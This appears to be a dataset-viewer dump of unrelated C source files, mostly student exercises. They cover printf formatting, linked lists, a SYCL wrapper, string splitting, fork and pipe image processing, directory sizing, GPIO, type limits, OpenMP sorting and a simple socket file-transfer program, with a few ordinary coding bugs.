language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
#include "common.h"
void vfprintf(void (*printer)(char), const char *ctl, void **args) {
char buf[64] = {'\0'};
char *str = NULL;
char *ptr = NULL;
int len = 64;
unsigned int uinteger = 0;
while (*ctl) {
if (*ctl != '%') {
printer(*ctl);
ctl++;
}
else {
switch(*(++ctl)) {
case 'd':
uinteger = *(unsigned int *)args;
if ((int)uinteger < 0){
printer('-');
uinteger = -uinteger;
}
ptr = buf + sizeof(buf) - 1;
while(uinteger){
*(--ptr) = '0' + uinteger % 10;
uinteger /= 10;
}
while(*ptr){
printer(*ptr++);
}
args++;
break;
case 'x':
len = 64;
str = *(char **)args;
if (*str == '0' && *(str + 1) == 'x'){
str += 1;
while (*(++str) != '\0')
printer(*str);
}
else {
uinteger = *(uint32_t *)args;
while (uinteger){
buf[--len] = ((uinteger % 16) < 10) ? (uinteger % 16 + '0') : ('a' + (uinteger % 16) - 10);
uinteger >>= 4;
}
for (; len < 64; len++){
printer(*str);
str++;
}
}
args++;
break;
case 's':
str = *(char **)args;
while (*str != '\0'){
printer(*str);
str++;
}
args++;
break;
case 'c':
printer(*(char *)args);
args++;
break;
default:
printer(*ctl);
break;
}
ctl++;
}
}
}
char buf[256];
int len;
void printc(char c) {
buf[len++] = c;
}
void write(char*, int);
void __attribute__((__noinline__))
printf(const char *ctl, ...) {
len = 0;
void **args = (void **)&ctl + 1;
vfprintf(printc, ctl, args);
write(buf, len);
}
|
C
|
#include "linkedlist.h"
#include <assert.h>
#include <stdbool.h>
#include <stddef.h>
// A LinkedNode is a node of a LinkedList.
struct LinkedNode {
LinkedNode* next; // Pointer to the next node.
void* data; // Pointer to the data.
};
// A LinkedList is a list that uses linked nodes as storage.
struct LinkedList {
const Allocator* allocator; // The allocator used to allocate this struct.
const Allocator* node_allocator; // The allocator used to allocate nodes.
size_t size; // The number of elements in the list.
LinkedNode* head; // The pointer to the head element of the list.
LinkedNode* tail; // The pointer to the tail element of the list.
};
const size_t sizeof_lnode = sizeof(LinkedNode);
// O(1)
void* lnode_data(const LinkedNode* node) {
assert(node != NULL);
return node->data;
}
// O(1)
LinkedList* new_llist(const Allocator* allocator, const Allocator* node_allocator) {
assert(allocator != NULL);
assert(node_allocator != NULL);
LinkedList* list = al_alloc(allocator, 1, sizeof(LinkedList));
*list = (LinkedList) {
.allocator = allocator,
.node_allocator = node_allocator,
.size = 0,
.head = NULL,
.tail = NULL
};
return list;
}
// O(n)
void delete_llist(
LinkedList** _list,
void (*delete)(const Allocator*, void*),
const Allocator* allocator
) {
assert(_list != NULL);
if (_list == NULL)
return;
LinkedList* list = *_list;
for (LinkedNode *next, *node = list->head; node != NULL; node = next) { // O(n)
next = node->next;
if (delete != NULL)
delete(allocator, node->data); // O(1)
al_dealloc(list->node_allocator, node); // O(1)
}
al_dealloc(list->allocator, list);
*_list = NULL;
}
// O(1)
size_t llist_size(const LinkedList* list) {
assert(list != NULL);
return list->size;
}
// O(1)
bool llist_empty(const LinkedList* list) {
assert(list != NULL);
return list->size == 0;
}
// O(1)
void llist_push_head(LinkedList* list, const void* obj) { // Insert at the head.
assert(list != NULL);
if (obj == NULL)
return;
LinkedNode* node = al_alloc(list->node_allocator, 1, sizeof(LinkedNode)); // O(1)
*node = (LinkedNode) {
.next = list->head,
.data = (void*) obj
};
if (llist_empty(list)) // O(1)
list->tail = node;
list->head = node;
list->size++;
}
// O(1)
void llist_push_tail(LinkedList* list, const void* obj) { // Insert at the tail.
assert(list != NULL);
if (obj == NULL)
return;
LinkedNode* node = al_alloc(list->node_allocator, 1, sizeof(LinkedNode)); // O(1)
*node = (LinkedNode) {
.next = NULL,
.data = (void*) obj
};
if (llist_empty(list)) // O(1)
list->head = list->tail = node;
else
list->tail = list->tail->next = node;
list->size++;
}
// O(1)
void* llist_pop_head(LinkedList* list) { // Pop from the head.
assert(list != NULL);
if (llist_empty(list)) // O(1)
return NULL;
LinkedNode* node = list->head;
void* obj = lnode_data(node);
list->head = list->head->next;
if (list->tail == node)
list->tail = NULL;
list->size--;
al_dealloc(list->node_allocator, node); // O(1)
return obj;
}
static void* llist_it_get(Iterator* it) {
assert(it != NULL);
LinkedNode* node = it->data;
return node == NULL ? NULL
: node->data;
}
static void llist_it_advance(Iterator* it) {
assert(it != NULL);
LinkedNode* node = it->data;
if (node != NULL)
it->data = node->next;
}
Iterator llist_begin(const LinkedList* list) {
assert(list != NULL);
return (Iterator) {
.container = list,
.data = list->head,
.get = llist_it_get,
.advance = llist_it_advance
};
}
|
C
|
# include<stdio.h>
int main(){
int a=2;
double b=3.5;
char grade='A'; // One single letter allowed.
float c=4.5;
return 0;
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <chrono>
#include "../common.h"
#include "./solver.c"
#include "kernel_wrapper.h"
int kernel_wrapper(
int xmax,
int workload,
FP ***y,
FP **x,
FP **params,
FP *com)
{
// VARIABLES
double timecopyin;
double timekernel;
double timecopyout;
auto offload_start = std::chrono::steady_clock::now();
{ // sycl scope
// GPU SETUP
#ifdef USE_GPU
gpu_selector dev_selector;
#else
cpu_selector dev_selector;
#endif
queue command_queue(dev_selector);
// COMMON VARIABLES
// ALLOCATE MEMORY
buffer<FP,1> d_initvalu(EQUATIONS);
buffer<FP,1> d_finavalu(EQUATIONS);
buffer<FP,1> d_params(PARAMETERS);
buffer<FP,1> d_com(3);
// EXECUTION
int i;
int status;
for(i=0; i<workload; i++){
status = solver(
y[i],
x[i],
xmax,
params[i],
com,
d_initvalu,
d_finavalu,
d_params,
d_com,
command_queue,
&timecopyin,
&timekernel,
&timecopyout);
if(status !=0){
printf("STATUS: %d\n", status);
}
}
} // sycl scope
auto offload_end = std::chrono::steady_clock::now();
auto offload_time = std::chrono::duration_cast<std::chrono::nanoseconds>(offload_end - offload_start).count();
printf("Total kernel execution time %f (s)\n\n", timekernel * 1e-9f);
printf("Total host to device time %f (s)\n\n", timecopyin * 1e-9f);
printf("Total device to host time %f (s)\n\n", timecopyout * 1e-9f);
printf("Device offloading time: %f (s)\n", offload_time * 1e-9);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strsplit.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: cormarti <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/11/12 18:53:27 by cormarti #+# #+# */
/* Updated: 2017/11/13 05:16:50 by cormarti ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
#include <stdlib.h>
static int ft_cwords(char const *s, char c)
{
int i;
int words;
int active;
i = 0;
words = 0;
active = 0;
while (s[i])
{
if (s[i] != c && active == 0)
{
active = 1;
words++;
}
else if (s[i] == c)
active = 0;
i++;
}
return (words);
}
static char *ft_strnext(char const *s, char c, int *index)
{
int i;
char *str;
int len;
while (s[*index] == c)
*index += 1;
i = *index;
len = 0;
while (s[i] && s[i++] != c)
len++;
if (!(str = (char*)malloc(sizeof(char) * (len + 1))))
return (NULL);
i = 0;
while (s[*index] && s[*index] != c)
{
str[i++] = s[*index];
*index += 1;
}
str[i] = '\0';
return (str);
}
char **ft_strsplit(char const *s, char c)
{
char **arr;
int i;
int index;
if (!s || !(arr = (char**)malloc(sizeof(char*) * (ft_cwords(s, c) + 1))))
return (NULL);
i = -1;
index = 0;
while (++i < ft_cwords(s, c))
arr[i] = ft_strnext(s, c, &index);
arr[i] = NULL;
return (arr);
}
|
C
|
#include "head/test.h"
#include "fun/estructura_png.c"
#include "fun/funcionrecorreMatrix.c"
#include "fun/crearnombre.c"
/*
Entradas:
Funcionamiento:
Salidas:
*/
int main(int argc, char *argv[]){
int opt;
int c=0;
char* m=NULL;
float n=0;
int p=0;
int b=-1;
char* argumentos[6];
//argumentos[4]=b;
//c=atoi(argv[0]);
/*
Entradas: nombreArchivo *Flag(-c) Numero_de_imagenes *Flag(-m) Nombre_del_filtro.txt *Flag(-n) Valor_decimal_umbral
*Flag(-p) Valor_porcentaje_de_clasificacion
*Flag(-b):opcional; de aparecer el flag -b muestra por pantalla parametros resultante para fines del laboratorio.
Funcionamiento: recepción de parámetros de entradas para sus correspondientes validación de datos para el correcto funcionamiento del programa.
Salidas: tipo void, modifica valores en variables locales y arreglos.
-Caso error retorna un 0 e imprime por pantalla dicho factor.
-Caso de funcionamiento correcto agrega valores verificador al arreglo 'argumentos'.
*/
while((opt=getopt(argc, argv, "c:m:n:p:b"))!= -1){
switch (opt){
case 'c':
c=atoi(optarg);
if(c<=0){
printf("Cantidad de las imagenes no pueden ser menor o igual a cero\n");
return 0;
}
argumentos[0]=optarg;
break;
case 'm':
m= optarg;
int largoNombre;
largoNombre=strlen(m);
//printf("El largo de nombre: %d\n",largoNombre);
if(largoNombre<6){
printf("Nombre de longitud incorrecta\n");
return 0;
}
char t=m[largoNombre-1];
char x=m[largoNombre-2];
char t1=m[largoNombre-3];
char punto=m[largoNombre-4];
if(punto!='.' || t!='t' || x!='x' || t1!='t'){
printf("El achivo debe ser de extensión .txt\n");
return 0;
}
argumentos[1]=m;
break;
case 'n':
n=atof(optarg);
if(n>=0.1 && n<1){
//printf("el valor de n es: %f\n",n);
argumentos[2]=optarg;
break;
}
else{
printf("%f",n);
printf("Valor incorrecto para umbral\n");
return 0;
}
case 'p':
p=atoi(optarg);
if(p>=15 && p<100){
//printf("el valor de p es: %f\n",p);
argumentos[3]=optarg;
break;
}
else{
printf("%d",p);
printf("los valores del porcentaje de clasificacion han de ser entre 0.5 y 0.99\n");
return 0;
}
case 'b':
argumentos[4]="1";
b=1;
break;
case '?':
printf("Valor no reconocico\n");
printf("El formato a ingresar es: main.c -c N_imagenes -m filtro.txt -n umbral -p porciento_clasificacion -b\n");
return 0;
}
}
//se indica para excev el fin de los argumentos
argumentos[5]=NULL;
//se crea el pipe con la etapa convulución
int fd[2];
pipe(fd);
int fdz[2];
pipe(fdz);
if(b==1){
printf("| \timagen\t\t|\tnearly black\t|\n");
printf("|-----------------------|-----------------------|\n");
}
//variable de tipo entero para el llamado de un fork()
int pid;
pid = fork();
//cuyo caso de ser hijo el valor pid==0
if(pid == 0)
{
// printf("EtapaConvolucion\n");
close(fd[1]); //ciero el pipe como escritura
close(fdz[0]);//cierro el pipe como lectura
dup2(fd[0], 3); //especifico la lectura
dup2(fdz[1], 6); //especifico la escritura
execv("src/pconvolucion", argumentos); //llamo a execv para cargar el código de la etapa convolución
printf("Si esto es visible es porque no se a cargado el codig de execve_convolucion\n");
return 0;
}
else{
//Cuyo caso es el padre
close(fd[0]); //ciero el pipe como lectura
close(fdz[1]);//cierro el pipe como escritura
//ciclo for por cada imagen cargada
for(int ciclo=1;ciclo<=c;ciclo++){
// printf("For MAIN %d\n",ciclo);
char* nombre=nombre_imagen(ciclo);
//printf("For MAIN %d\n",ciclo);
//char* nombre="foto3.png";
//se crea una estructura tipo MatrizPNG y es cargada a esta la imagen png
MatrizPNG* matrizPng = readImage(nombre);
//reservo espacio en memoria para guardar las dimensiones de la imagen cargada
int* dimensiones= (int*)malloc(sizeof(int*)*2);
dimensiones[0]=matrizPng->width; //ancho 0
dimensiones[1]=matrizPng->height;//alto 1
// printf("Ancho %d\n", dimensiones[0]);
// printf("alto %d\n", dimensiones[1]);
//se crea una variable doble puntero para albergar la dirección de la matriz o imagen png
int** matrixPNG;
matrixPNG = matrizPng->image;
if(ciclo==1){
//printf("PADRE IF \n");
//se envía las dimensiones por el pipe
write(fd[1],dimensiones, sizeof(dimensiones));
//se envía por el pipe la imagen png
loadImagen(dimensiones,matrixPNG,fd[1]);
}else{
int valorPipe2 = 5;
int valorLeido = 0;
while(valorPipe2 != 4){
//printf("PADRE ELSE- VALORPIPE2 READ %d\n", valorPipe2);
valorPipe2 = read(fdz[0], &valorLeido, sizeof(int));
//printf("desde el padre, EL VALOR LEIDO ENVIADO POR HIJO ES: %d\n",valorLeido);
//printf("El valor READ l188 en el padre es: %d\n", valorPipe2);
}
valorPipe2 = 0;
//se envía las dimensiones por el pipe
write(fd[1],dimensiones, sizeof(dimensiones));
//se envía por el pipe la imagen png
loadImagen(dimensiones,matrixPNG,fd[1]);
}
int valorPipe2 = 5;
int valorLeido = 0;
int valorZ=ciclo;
write(fd[1],&valorZ,sizeof(int));
while(valorPipe2 != 4){
valorPipe2 = read(fdz[0], &valorLeido, sizeof(int));
}
valorPipe2 = 0;
free(dimensiones);
}//fin del ciclo for
} //else del fork
close(fd[1]);
close(fdz[1]);
wait(NULL);
printf("Soy el padre y he finalizado\n");
return 0;
}
|
C
|
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/statvfs.h>
#include <stdint.h>
#include <string.h>
#include <dirent.h>
#include <stdlib.h>
//The amount of bytes of all files found
uint64_t totalFilesSize=0;
//Size for a sector in the fs
unsigned int sectorSize=0;
void readDir(char *path) {
DIR *directory;
struct dirent *d_file; // a file in *directory
directory = opendir (path);
while ((d_file = readdir (directory)) != 0)
{
struct stat filestat;
char *abPath=malloc(1024);
memset(abPath, 0, 1024);
strcpy(abPath, path);
strcat(abPath, "/");
strcat(abPath, d_file->d_name);
lstat (abPath, &filestat);
switch (filestat.st_mode & S_IFMT)
{
case S_IFDIR:
{
if (strcmp (".", d_file->d_name) && strcmp ("..", d_file->d_name))
{
printf("File: %s\nSize: %d\n\n", abPath, (int)filestat.st_size);
//Add slack space to the final sum
int slack=sectorSize-(filestat.st_size%sectorSize);
totalFilesSize+=filestat.st_size+slack;
readDir(abPath);
}
break;
}
case S_IFREG:
{
printf("File: %s\nSize: %d\n\n", abPath, (int)filestat.st_size);
//Add slack space to the final sum
int slack=sectorSize-(filestat.st_size%sectorSize);
totalFilesSize+=filestat.st_size+slack;
break;
}
}
free(abPath);
}
closedir (directory);
}
int main (int argc, char **argv)
{
if(argc!=2) {
printf("Error: Missing required parameter.\n");
return -1;
}
struct statvfs info;
statvfs (argv[1], &info);
sectorSize=info.f_bsize; //Setting global variable
uint64_t usedBytes=(info.f_blocks-info.f_bfree)*info.f_bsize;
readDir(argv[1]);
printf("Total blocks: %d\nFree blocks: %d\nSize of block: %d\n\
Size in bytes: %d\nTotal Files size: %d\n",
(int)info.f_blocks, (int)info.f_bfree, (int)info.f_bsize, (int)usedBytes, (int)totalFilesSize);
return 0;
}
|
C
|
/***************************** Include Files *********************************/
#include "xparameters.h"
#include "xgpio.h"
#include "gpio.h"
/************************** Constant Definitions *****************************/
/*
* The following constant is used to wait after an LED is turned on to make
* sure that it is visible to the human eye. This constant might need to be
* tuned for faster or slower processor speeds.
*/
#define LED_DELAY 100000
/*****************************************************************************/
/**
*
* The purpose of this function is to illustrate how to use the GPIO
* driver to turn on and off an LED.
*
* @param None
*
* @return XST_FAILURE to indicate that the GPIO Initialization had
* failed.
*
* @note This function will not return if the test is running.
*
******************************************************************************/
int main(void)
{
volatile int Delay;
int status;
/* Initialize the GPIO driver */
status=InitialiseGPIO();
if(status != XST_SUCCESS){
//add print error message
return XST_FAILURE;
}
while (1) {
SweepLeds();
/* Wait a small amount of time so the LED is visible */
for (Delay = 0; Delay < LED_DELAY; Delay++);
}
}
|
C
|
/*
* Write a program to determine the ranges of char, short, int, and long
* variables, both signed and unsigned, by printing appropriate values from
* standard headers and by direct computation. Harder if you compute them:
* determine the ranges of the various floating-point types.
*/
#include <stdio.h>
#include <limits.h>
#include <float.h>
int
main(void)
{
printf("signed char min: %d\n", SCHAR_MIN);
printf("signed char max: %d\n", SCHAR_MAX);
printf("signed short min: %d\n", SHRT_MIN);
printf("signed short max: %d\n", SHRT_MAX);
printf("signed int min: %d\n", INT_MIN);
printf("signed int max: %d\n", INT_MAX);
printf("signed long min: %ld\n", LONG_MIN);
printf("signed long max: %ld\n", LONG_MAX);
printf("signed long long min: %lld\n", LLONG_MIN);
printf("signed long long max: %lld\n", LLONG_MAX);
printf("unsigned char max: %u\n", UCHAR_MAX);
printf("unsigned short max: %u\n", SHRT_MAX);
printf("unsigned int max: %u\n", INT_MAX);
printf("unsigned long max: %lu\n", LONG_MAX);
printf("unsigned long long max: %llu\n", LLONG_MAX);
printf("float min: %f\n", FLT_MIN);
printf("float max: %f\n", FLT_MAX);
printf("double min: %f\n", DBL_MIN);
printf("double max: %f\n", DBL_MAX);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h> //contém a rand e srand
#include <time.h> //necessária para usar o time(NULL)
#include "tempo.h"
#include <omp.h>
#define TAM 10
int vetor[TAM];
int vetorAux[20][TAM];
int maxVetor[20];
//
void inicializa_vetor();
void mostra_vetor();
void organiza();
//
int main(int argc, char *argv[]) {
int nrT = atoi(argv[1]);
omp_set_num_threads(nrT);
printf("Rodando a %d ThRead\n", nrT);
tempo1();
inicializa_vetor();
int i, aux;
#pragma omp for private (i)
for (i = 1; i < TAM; i++) {
aux = vetor[i];
//printf("\n Valor %d", aux);
int auxThRead = aux * nrT / TAM;
//printf("\n Vetor Indice %d", auxThRead);
vetorAux[auxThRead][maxVetor[auxThRead]] = aux;
maxVetor[auxThRead]++;
}
{
organiza();
}
tempo2();
tempoFinal("mili segundos", argv[0], MSGLOG, argv[1]);
/*
mostra_vetor();
*/
}
void organiza() {
int i, j, aux;
{
#pragma omp for private (i,j,aux)
for (i = 1; i < TAM; i++) {
j = i;
//#pragma omp critical
{
while (vetor[j] < vetor[j - 1]) {
aux = vetor[j];
vetor[j] = vetor[j - 1];
vetor[j - 1] = aux;
j--;
if (j == 0)
break;
}
}
}
}
}
void mostra_vetor(int aux[]) {
int z;
printf("\n v e t o r \n");
for (z = 0; z < TAM; z++) {
printf("\n Posicao %d - valor %d", z, aux[z]);
}
printf("\n\n\n");
}
void inicializa_vetor() {
int z;
srand(time(NULL)); //pra sempre iniciar com outro valor
/*
printf("\n inicializando vetor ...\n");
*/
for (z = 0; z < TAM; z++)
vetor[z] = (rand() % TAM) + 1;
}
|
C
|
/*
** client.c -- a stream socket client demo
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/stat.h>
#define MAXDATASIZE 100 // max number of bytes we can get at once
long get_file_size(int file_fd) {
struct stat bufz;
fstat(file_fd, &bufz);
return bufz.st_size;
}
void reverse(char s[]) {
int i, j;
char c;
for (i = 0, j = strlen(s)-1; i<j; i++, j--) {
c = s[i];
s[i] = s[j];
s[j] = c;
}
}
void num_to_string(int n, char s[]) {
int i, sign;
if ((sign = n) < 0) /* record sign */
n = -n; /* make n positive */
i = 0;
do { /* generate digits in reverse order */
s[i++] = n % 10 + '0'; /* get next digit */
} while ((n /= 10) > 0); /* delete it */
if (sign < 0)
s[i++] = '-';
s[i] = '\0';
reverse(s);
}
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET) {
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int Send_File_Info_to_Main_Server(int argc, char *argv[], char sending_info[MAXDATASIZE], char* PORT)
{
//printf("%s\n",sending_info );
// write(1,"hajaqasalamonalykom",MAXDATASIZE);
// write(1,sending_info,MAXDATASIZE);
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
if (argc != 5) {
//fprintf(stderr,"usage: client hostname\n");
write(1 , "Not Enough Parameters on Input....Please Try Again\n", strlen("Not Enough Parameters on Input....Please Try Again\n"));
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if ((rv = getaddrinfo(argv[1], argv[2], &hints, &servinfo)) != 0) {
write(1 , "Fail to Connect to Main Server...Please Try Again\n" , strlen("Fail to Connect to Main Server...Please Try Again\n"));
return 1;
}
// loop through all the results and connect to the first we can
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
//perror("client: socket");
write(1 ,"Client: Socket\n" , strlen("Client: Socket\n"));
continue; }
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
//perror("client: connect");
write(1 ,"Client: Connect\n" , strlen("Client: Connect\n"));
continue; }
break; }
if (p == NULL) {
//fprintf(stderr, "client: failed to connect\n");
write( 1 , "Client Failed to Connect\n" , strlen("Client Failed to Connect\n"));
return 2;
}
inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr),
s, sizeof s);
//printf("client: connecting to %s\n", s);
write(1 , "DataBase Connecting to: " , strlen("DataBase Connecting to: "));
write( 1, s , strlen(s));
write(1 , "\n" , strlen("\n"));
freeaddrinfo(servinfo); // all done with this structure
//write(1,"salamon",6);
//write(1,sending_info,MAXDATASIZE);
if ((numbytes = send(sockfd, sending_info, MAXDATASIZE-1, 0)) == -1) {
//perror("recv");
write( 1, "Recv\n" , strlen("Recv\n"));
exit(1); }
//recv(sockfd, buf,MAXDATASIZE-1, 0);
//write(1 , buf , strlen(buf));
buf[numbytes] = '\0';
//printf("client: Has Sent '%s'\n",sending_info);
write( 1 , "DataBase Has Sent File Info to Main Server\n" , strlen("DataBase Has Sent File Info to Main Server\n"));
close(sockfd);
return 0;
}
void Concat_Info(char* file_name,char* partition_number,char* ip,char* port_number, char* concat)
{
strncat(concat, file_name, strlen(file_name)-1);
strcat(concat, "|");
strncat(concat, partition_number, strlen(partition_number)-1);
strcat(concat, "|");
strncat(concat, ip, strlen(ip));
strcat(concat, "|");
strncat(concat, port_number, strlen(port_number));
}
int listen_to_client(int argc, char* argv[] ,char temp[MAXDATASIZE] , char f_name [MAXDATASIZE])
{
// write(1,"listen to client",MAXDATASIZE);
// write(1,temp,MAXDATASIZE);
// write(1,"Done Listen to Client",MAXDATASIZE);
fd_set master; // master file descriptor list
fd_set read_fds; // temp file descriptor list for select()
int fdmax;
// maximum file descriptor number
// listening socket descriptor
// newly accept()ed socket descriptor
int listener;
int newfd;
struct sockaddr_storage remoteaddr; // client address
socklen_t addrlen;
char buf[256]; // buffer for client data
int nbytes;
char remoteIP[INET6_ADDRSTRLEN];
int yes=1; // for setsockopt() SO_REUSEADDR, below
int i, j, rv;
struct addrinfo hints, *ai, *p;
FD_ZERO(&master); // clear the master and temp sets
FD_ZERO(&read_fds);
// get us a socket and bind it
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
//printf("Server_Port:%s\n" , argv[4]);
if ((rv = getaddrinfo(NULL, argv[4], &hints, &ai)) != 0) {
write(1 , "Fail to Connect to Server...Please Try Again\n" , strlen("Fail to Connect to Server...Please Try Again\n"));
exit(1);
}
for(p = ai; p != NULL; p = p->ai_next) {
listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if (listener < 0) {
continue; }
// lose the pesky "address already in use" error message
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
if (bind(listener, p->ai_addr, p->ai_addrlen) < 0) {
close(listener);
continue; }
break; }
// if we got here, it means we didn't get bound
if (p == NULL) {
//fprintf(stderr, "selectserver: failed to bind\n");
exit(2); }
freeaddrinfo(ai); // all done with this
// listen
if (listen(listener, 10) == -1) {
//perror("listen");
write(1 , "Listen\n" , strlen("Listen\n"));
exit(3); }
// add the listener to the master set
FD_SET(listener, &master);
// keep track of the biggest file descriptor
fdmax = listener; // so far, it's this one
// main loop
for(;;) {
read_fds = master; // copy it
if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) {
write(1 , "Select\n" , strlen("Select\n"));
exit(4); }
// run through the existing connections looking for data to read
for(i = 0; i <= fdmax; i++) {
if (FD_ISSET(i, &read_fds)) { // we got one!!
if (i == listener) {
// handle new connections
addrlen = sizeof remoteaddr;
newfd = accept(listener,
(struct sockaddr *)&remoteaddr,
&addrlen);
if (newfd == -1) {
//perror("accept");
write( 1 , "Accept\n" , strlen("Accept\n"));
} else {
FD_SET(newfd, &master); // add to master set
if (newfd > fdmax) { // keep track of the max
fdmax = newfd;
}
write(1 , "New Connection From:" , strlen("New Connection From:"));
write(1 , inet_ntop(remoteaddr.ss_family,
get_in_addr((struct sockaddr*)&remoteaddr),
remoteIP, INET6_ADDRSTRLEN) , strlen(inet_ntop(remoteaddr.ss_family,
get_in_addr((struct sockaddr*)&remoteaddr),
remoteIP, INET6_ADDRSTRLEN)));
write(1 , " On Socket:::" , strlen(" On Socket:::"));
char ss[MAXDATASIZE];
num_to_string(newfd , ss);
write(1 ,ss , strlen(ss));
write(1 , "\n" , strlen("\n")); }
} else {
// handle data from a client
if ((nbytes = recv(i, buf, sizeof buf, 0)) <= 0) {
// got error or connection closed by client
if (nbytes == 0) {
// connection closed
//write(1,buf,MAXDATASIZE);
//write(1,"salamz",7);
//printf("selectserver: socket %d hung up\n", i);
write(1 , "Socket:::" , strlen("Socket:::"));
char ss[MAXDATASIZE];
num_to_string(i , ss);
write(1 , ss , strlen(ss));
write(1 , " Hung Up\n" , strlen(" Hung Up\n"));
} else {
//perror("recv");
write(1 , "Recv\n" , strlen("Recv\n"));
}
close(i); // bye!
FD_CLR(i, &master); // remove from master set
} else {
// we got some data from a client
//write(1,buf,MAXDATASIZE);
//[Forwarded from Sadegh Hayeri]
int FILE_FD = open(f_name, O_RDONLY);
char context[MAXDATASIZE];
memset(context , '\0' , MAXDATASIZE);
//read(FILE_FD, context, MAXDATASIZE);
long f_size = get_file_size(FILE_FD);
int chunk_num = f_size / MAXDATASIZE + 1;
for(int cnt = 0;cnt<chunk_num;cnt++)
{
memset(context , '\0' , MAXDATASIZE);
read(FILE_FD, context, 100);
//printf("Context=[%s]\n\n",context);
send(i, context, strlen(context), 0);
}
sleep(1);
send(i , "end" , strlen("end") , 0);
// while(read(FILE_FD, context, 100))
// {
// //print("LENgth=[%d]\n" , length);
// printf("context =[%s]\n" , context);
// send(i, context, strlen(context), 0);
// memset(context , '\0' , MAXDATASIZE);
// }
// printf("sending end\n");
// send(i , "end" , strlen("end") , 0);
//write(1,"salam",6);
}
} // END handle data from client
} // END got new incoming connection
} // END looping through file descriptors
} // END for(;;)--and you thought it would never end!
return 0; }
int main(int argc, char *argv[])
{
char temp[MAXDATASIZE] , f_name [MAXDATASIZE];
memset(temp, '\0', MAXDATASIZE);
char file_name[MAXDATASIZE], partition_number[MAXDATASIZE], port_number[MAXDATASIZE];
char concat[MAXDATASIZE];
strcpy(concat ,"S|");//For Detecting Data was sent by Server
write(1,"Please Enter File Name: ",25);
read(0,file_name,MAXDATASIZE);
write(1,"Please Enter Partition Number: ",32);
read(0,partition_number,MAXDATASIZE);
Concat_Info(file_name, partition_number, argv[3]/*Server ip*/, argv[4]/*Server Port*/, concat);
Send_File_Info_to_Main_Server(argc, argv, concat , argv[2]);
strncat(temp, port_number, strlen(port_number)-1);
strncat(f_name, file_name, strlen(file_name)-1);
//printf("Goingtolistenin\n");
write(1 , ">>>>>>>>>>>>>>>>>>>Listening<<<<<<<<<<<<<<<<<\n" , strlen(">>>>>>>>>>>>>>>>>>>Listening<<<<<<<<<<<<<<<<<\n"));
int func_res = listen_to_client(argc , argv,temp , f_name);
}
|
C
|
#include<stdio.h>
#include<conio.h>
void main()
{
int number,n,multi=1;
printf("Enter a number : \n");
scanf("%d",&number);
while(number>0)
{
n=number%10;
number=number/10;
multi=multi*n;
}
printf("Multiplication or Product : %d \n",multi);
getch();
}
|
C
|
#include<stdio.h>
int main(void)
{
int T,a[1000];
printf("请输入一个整数T:"); scanf("%d",&T);
printf("请输入%d个整数并以number 的形式输入",T);
for(int i=0;i<T-1;i++){
do{
scanf("%d ",&a[i]);
}while(a[i]<32);
}
for(int i=0;i<T;i++)
printf("%c",a[i]);
return 0;
}
|
C
|
#include <stdio.h>
#include <locale.h>
#include <math.h>
// - a b C
double getY(double a, double b, double x) {
if (x == 0) {
return 0;
} else if (x > 1) {
return a * exp(-b * x) * cos(x * M_PI);
} else {
return pow(x - 5, 2) * pow(pow(x + 1, 2), 1. / 3.);
}
}
int main() {
setlocale(LC_ALL, "rus");
double a;
double b;
double start;
double end;
double step;
printf(" a b : ");
scanf("%lf %lf", &a, &b);
printf(" - : ");
scanf("%lf - %lf %lf", &start, &end, &step);
for (double x = start; x <= end; x += step) {
printf("\n x = %lf, y = %lf", x, getY(a, b, x));
}
return 0;
}
|
C
|
#include "SList.h"
void SListPrint(SListNode* pList)
{
SListNode* cur = pList;
while (cur != NULL)
{
printf("%d->", cur->data);
cur = cur->next;
}
printf("NULL\n");
}
SListNode* BuySListNode(SLTDataType x)
{
SListNode* newNode = (SListNode*)malloc(sizeof(SListNode));
newNode->data = x;
ne+wNode->next = NULL;
return newNode;
}
void SListPushBack(SListNode** ppList, SLTDataType x)
{
SListNode* newNode = BuySListNode(x);
if (*ppList == NULL)
{
*ppList = newNode;
}
else
{
SListNode* tail = *ppList;
while (tail->next != NULL)
{
tail = tail->next;
}
tail->next = newNode;
}
}
void SListPushFront(SListNode** ppList, SLTDataType x)
{
SListNode* newNode = BuySListNode(x);
newNode->next = *ppList;
*ppList = newNode;
}
void SListPopBack(SListNode** ppList)
{
// 1.
// 2.ֻһڵ
// 3.жڵ
if (*ppList == NULL)
{
return;
}
else if ((*ppList)->next == NULL)
{
free(*ppList);
*ppList = NULL;
}
else
{
SListNode* prev = NULL;
SListNode* tail = *ppList;
while (tail->next != NULL)
{
prev = tail;
tail = tail->next;
}
free(tail);
if (prev != NULL)
prev->next = NULL;
}
}
void SListPopFront(SListNode** pList);
|
C
|
#include "puts.h"
#include "putc.h"
